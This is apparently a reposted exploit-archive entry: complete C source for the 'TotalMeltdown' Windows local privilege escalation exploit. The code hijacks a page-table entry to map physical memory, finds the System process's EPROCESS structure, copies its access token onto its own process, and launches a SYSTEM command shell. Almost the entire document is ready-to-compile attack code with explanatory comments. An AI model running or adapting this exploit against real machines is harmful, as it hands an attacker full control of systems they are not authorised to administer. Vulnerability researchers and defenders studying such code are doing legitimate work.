Windows - Local Privilege Escalation Exploit

#include "stdafx.h"
 
#define PML4_BASE   0xFFFFF6FB7DBED000
#define PDP_BASE    0xFFFFF6FB7DA00000
#define PD_BASE     0xFFFFF6FB40000000
#define PT_BASE 0xFFFFF68000000000
 
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
 
#pragma pack(push,4)
typedef struct _CM_PARTIAL_RESOURCE_DESCRIPTOR {
    UCHAR Type;
    UCHAR ShareDisposition;
    USHORT Flags;
    union {
        struct {
            PHYSICAL_ADDRESS Start;
            ULONG Length;
        } Generic;
 
        struct {
            PHYSICAL_ADDRESS Start;
            ULONG Length;
        } Port;
 
        struct {
#if defined(NT_PROCESSOR_GROUPS)
            USHORT Level;
            USHORT Group;
#else
            ULONG Level;
#endif
            ULONG Vector;
            KAFFINITY Affinity;
        } Interrupt;
 
        struct {
            union {
                struct {
#if defined(NT_PROCESSOR_GROUPS)
                    USHORT Group;
#else
                    USHORT Reserved;
#endif
                    USHORT MessageCount;
                    ULONG Vector;
                    KAFFINITY Affinity;
                } Raw;
 
                struct {
#if defined(NT_PROCESSOR_GROUPS)
                    USHORT Level;
                    USHORT Group;
#else
                    ULONG Level;
#endif
                    ULONG Vector;
                    KAFFINITY Affinity;
                } Translated;
            } DUMMYUNIONNAME;
        } MessageInterrupt;
 
        struct {
            PHYSICAL_ADDRESS Start; 
            ULONG Length;
        } Memory;
 
        struct {
            ULONG Channel;
            ULONG Port;
            ULONG Reserved1;
        } Dma;
 
        struct {
            ULONG Channel;
            ULONG RequestLine;
            UCHAR TransferWidth;
            UCHAR Reserved1;
            UCHAR Reserved2;
            UCHAR Reserved3;
        } DmaV3;
 
        struct {
            ULONG Data[3];
        } DevicePrivate;
 
        struct {
            ULONG Start;
            ULONG Length;
            ULONG Reserved;
        } BusNumber;
 
        struct {
            ULONG DataSize;
            ULONG Reserved1;
            ULONG Reserved2;
        } DeviceSpecificData;
 
        struct {
            PHYSICAL_ADDRESS Start;
            ULONG Length40;
        } Memory40;
 
        struct {
            PHYSICAL_ADDRESS Start;
            ULONG Length48;
        } Memory48;
 
        struct {
            PHYSICAL_ADDRESS Start;
            ULONG Length64;
        } Memory64;
 
        struct {
            UCHAR Class;
            UCHAR Type;
            UCHAR Reserved1;
            UCHAR Reserved2;
            ULONG IdLowPart;
            ULONG IdHighPart;
        } Connection;
 
    } u;
} CM_PARTIAL_RESOURCE_DESCRIPTOR, *PCM_PARTIAL_RESOURCE_DESCRIPTOR;
#pragma pack(pop,4)
 
typedef enum _INTERFACE_TYPE {
    InterfaceTypeUndefined,
    Internal,
    Isa,
    Eisa,
    MicroChannel,
    TurboChannel,
    PCIBus,
    VMEBus,
    NuBus,
    PCMCIABus,
    CBus,
    MPIBus,
    MPSABus,
    ProcessorInternal,
    InternalPowerBus,
    PNPISABus,
    PNPBus,
    Vmcs,
    ACPIBus,
    MaximumInterfaceType
} INTERFACE_TYPE, *PINTERFACE_TYPE;
 
typedef struct _CM_PARTIAL_RESOURCE_LIST {
    USHORT                         Version;
    USHORT                         Revision;
    ULONG                          Count;
    CM_PARTIAL_RESOURCE_DESCRIPTOR PartialDescriptors[1];
} CM_PARTIAL_RESOURCE_LIST, *PCM_PARTIAL_RESOURCE_LIST;
 
typedef struct _CM_FULL_RESOURCE_DESCRIPTOR {
    INTERFACE_TYPE           InterfaceType;
    ULONG                    BusNumber;
    CM_PARTIAL_RESOURCE_LIST PartialResourceList;
} *PCM_FULL_RESOURCE_DESCRIPTOR, CM_FULL_RESOURCE_DESCRIPTOR;
 
typedef struct _CM_RESOURCE_LIST {
    ULONG                       Count;
    CM_FULL_RESOURCE_DESCRIPTOR List[1];
} *PCM_RESOURCE_LIST, CM_RESOURCE_LIST;
 
struct memory_region {
    ULONG64 size;
    ULONG64 address;
};
 
// Very hack'y way of trying to map out physical memory regions to try and reduce
// risk of BSOD
DWORD parse_memory_map(struct memory_region *regions) {
    HKEY hKey = NULL;
    LPTSTR pszSubKey = L"Hardware\\ResourceMap\\System Resources\\Physical Memory";
    LPTSTR pszValueName = L".Translated";
    LPBYTE lpData = NULL;
    DWORD dwLength = 0, count = 0, type = 0;;
 
    if (!RegOpenKey(HKEY_LOCAL_MACHINE, pszSubKey, &hKey) == ERROR_SUCCESS)
    {
        printf("[*] Could not get reg key\n");
        return 0;
    }
 
    if (!RegQueryValueEx(hKey, pszValueName, 0, &type, NULL, &dwLength) == ERROR_SUCCESS)
    {
        printf("[*] Could not query hardware key\n");
        return 0;
    }
 
    lpData = (LPBYTE)malloc(dwLength);
    RegQueryValueEx(hKey, pszValueName, 0, &type, lpData, &dwLength);
 
    CM_RESOURCE_LIST *resource_list = (CM_RESOURCE_LIST *)lpData;
 
    for (int i = 0; i < resource_list->Count; i++) {
        for (int j = 0; j < resource_list->List[0].PartialResourceList.Count; j++) {
            if (resource_list->List[i].PartialResourceList.PartialDescriptors[j].Type == 3) {
                regions->address = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart;
                regions->size = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length;
                regions++;
                count++;
            }
        }
    }
 
    return count;
}
 
int main()
{
    printf("TotalMeltdown PrivEsc exploit by @_xpn_\n");
    printf("  paging code by @UlfFrisk\n\n");
 
    unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
    DWORD done;
    DWORD count;
 
    // Parse registry for physical memory regions
    printf("[*] Getting physical memory regions from registry\n");
    struct memory_region *regions = (struct memory_region *)malloc(sizeof(struct memory_region) * 10);
 
    count = parse_memory_map(regions);
    if (count == 0) {
        printf("[X] Could not find physical memory region, quitting\n");
        return 2;
    }
 
    for (int i = 0; i < count; i++) {
        printf("[*] Phyiscal memory region found: %p - %p\n", regions[i].address, regions[i].address + regions[i].size);
    }
 
    // Check for vulnerability
    __try {
        int test = *(unsigned long long *)PML4_BASE;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        printf("[X] Could not access PML4 address, system likely not vulnerable\n");
        return 2;
    }
 
    // setup: PDPT @ fixed hi-jacked physical address: 0x10000
    // This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
    // we can hijack.
    for (iPML4 = 256; iPML4 < 512; iPML4++) {
        vaPML4e = PML4_BASE + (iPML4 << 3);
        if (*(unsigned long long *)vaPML4e) { continue; }
 
        // When we find an entry, we add a pointer to the next table (PDPT), which will be
        // stored at the physical address 0x10000
        *(unsigned long long *)vaPML4e = 0x10067;
        break;
    }
    printf("[*] PML4 Entry Added At Index: %d\n", iPML4);
 
    // Here, the PDPT table is referenced via a virtual address.
    // For example, if we added our hijacked PML4 entry at index 256, this virtual address
    // would be 0xFFFFF6FB7DA00000 + 0x100000
    // This allows us to reference the physical address 0x10000 as:
    // PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100
    vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
    printf("[*] PDPT Virtual Address: %p", vaPDPT);
 
    // 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
    // Below is responsible for adding 31 entries to the PDPT
    for (iPDPT = 0; iPDPT < 31; iPDPT++) {
        *(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
    }
 
    // For each of the PDs, a further 512 PT's are created. This gives access to
    // 512 * 32 * 2mb = 33gb physical memory space
    for (iPDPT = 0; iPDPT < 31; iPDPT++) {
        if ((iPDPT % 3) == 0)
            printf("\n[*] PD Virtual Addresses: ");
 
        vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
        printf("%p ", vaPD);
 
        for (iPD = 0; iPD < 512; iPD++) {
            // Below, notice the 0xe7 flags added to each entry.
            // This is used to create a 2mb page rather than the standard 4096 byte page.
            *(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
        }
    }
 
    printf("\n[*] Page tables created, we now have access to ~31gb of physical memory\n");
 
    #define EPROCESS_IMAGENAME_OFFSET 0x2e0
    #define EPROCESS_TOKEN_OFFSET 0x208
    #define EPROCESS_PRIORITY_OFFSET 0xF  // This is the offset from IMAGENAME, not from base
 
    unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
    unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
     
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
 
    printf("[*] Hunting for _EPROCESS structures in memory\n");
 
    for (int j = 0; j < count; j++) {
        printf("[*] Trying physical region %p - %p\n", regions[j].address, regions[j].address + regions[j].size);
 
        for (unsigned long long i = regions[j].address; i < +regions[j].address + regions[j].size; i++) {
             
            __try {
                // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
                if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
                    if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                        ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                        printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS);
                    }
                }
                // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
                else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) {
                    if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                        systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                        printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS);
                    }
                }
 
                if (systemEPROCESS != 0 && ourEPROCESS != 0) {
                    // Swap the tokens by copying the pointer to System Token field over our process token
                    printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
                    *(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
                    printf("[*] Done, spawning SYSTEM shell...\n\n");
 
                    CreateProcessA(0,
                        "cmd.exe",
                        NULL,
                        NULL,
                        TRUE,
                        0,
                        NULL,
                        "C:\\windows\\system32",
                        &si,
                        &pi);
                    break;
                }
            }
            __except (EXCEPTION_EXECUTE_HANDLER) {
                printf("[X] Exception occured, stopping to avoid BSOD\n");
                return 2;
            }
        }
    }
    return 0;
}

#  0day.today [2018-05-07]  #